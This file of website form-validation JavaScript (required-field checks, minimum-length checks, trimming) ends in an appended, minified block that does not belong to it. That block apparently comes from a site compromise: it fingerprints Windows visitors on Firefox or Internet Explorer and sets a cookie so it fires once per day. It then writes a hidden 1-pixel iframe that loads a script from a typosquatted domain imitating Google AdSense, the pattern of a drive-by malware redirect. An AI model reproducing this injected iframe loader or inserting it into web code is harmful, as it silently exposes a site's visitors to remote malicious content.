
	function checkrequired(which,tabcheck) 
	{
		var pass = 0;
		var zeros = "0.";
		var character;

		if (document.images) 
		{
			for (i=0;i<which.length;i++) 
			{
				var tempobj=which.elements[i];
				
				if(tabcheck!=null && tempobj.getAttribute('tabdiv')!=null && tempobj.getAttribute('tabdiv')!=tabcheck)
				{
					continue;
				}
				else
				if (tempobj.type=="password" && tempobj.getAttribute('required')==null && tempobj.value.length>0 && tempobj.getAttribute('minlength') && tempobj.value.length<tempobj.getAttribute('minlength'))
				{
					pass=2;
					break;
				}
				else
				if (tempobj.getAttribute('required')!=null || tempobj.getAttribute('require0')!=null) 
				{
					if (((tempobj.type=="text" || tempobj.type=="password" || tempobj.type=="textarea") && trim(tempobj.value)=='')||(tempobj.type.toString().charAt(0)=="s" && trim(tempobj.value)=='')) 
					{
						pass=1;
						break;
					}
					else
					if ((tempobj.type=="text" || tempobj.type=="password" || tempobj.type=="textarea") && tempobj.getAttribute('minlength') && tempobj.value.length<tempobj.getAttribute('minlength')) 
					{
						pass=2;
						break;
					}
					else
					if (tempobj.type=="text" && tempobj.getAttribute('required')!=null)
					{
						iszeros = true; 
						for (j=0;j<tempobj.value.length;j++)
						{
							character = tempobj.value.charAt(j);
							if (zeros.indexOf(character) == -1)
							{
								iszeros = false;
								break;
							}
						}
						if(iszeros)
						{
							pass=1;
							break;
						}
					}
				}
			}
		}
		
		if (pass!=0) 
		{
			tempobj.focus(); 
			if(pass==1)
				{ alert("Please make sure the '"+tempobj.id+"' field is properly completed."); }
			else
			{
				if(tempobj.getAttribute('maxlength') && tempobj.getAttribute('minlength')==tempobj.getAttribute('maxlength'))
					{ alert("Please make sure the '"+tempobj.id+"' is "+tempobj.getAttribute('minlength')+" characters long."); }
				else
					{ alert("Please make sure the '"+tempobj.id+"' is at least "+tempobj.getAttribute('minlength')+" characters long."); }
			}
			return false;
		}
		else
		return true;
	}
	
	function fixnumericfield(qty_field)
	{
		if((qty_field.value*1)==0)
			{ qty_field.value=1; }
	}
	
	function trim(s) 
	{
		while (s.substring(0,1) == ' ') 
			{ s = s.substring(1,s.length); }
		while (s.substring(s.length-1,s.length) == ' ') 
			{ s = s.substring(0,s.length-1); }
		return s;
	}

	<!-- Javascript fieldchanged function - sets modified to true - only in edit mode -->

	function fieldchanged() 
	{
		modified = true;
	}
	var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
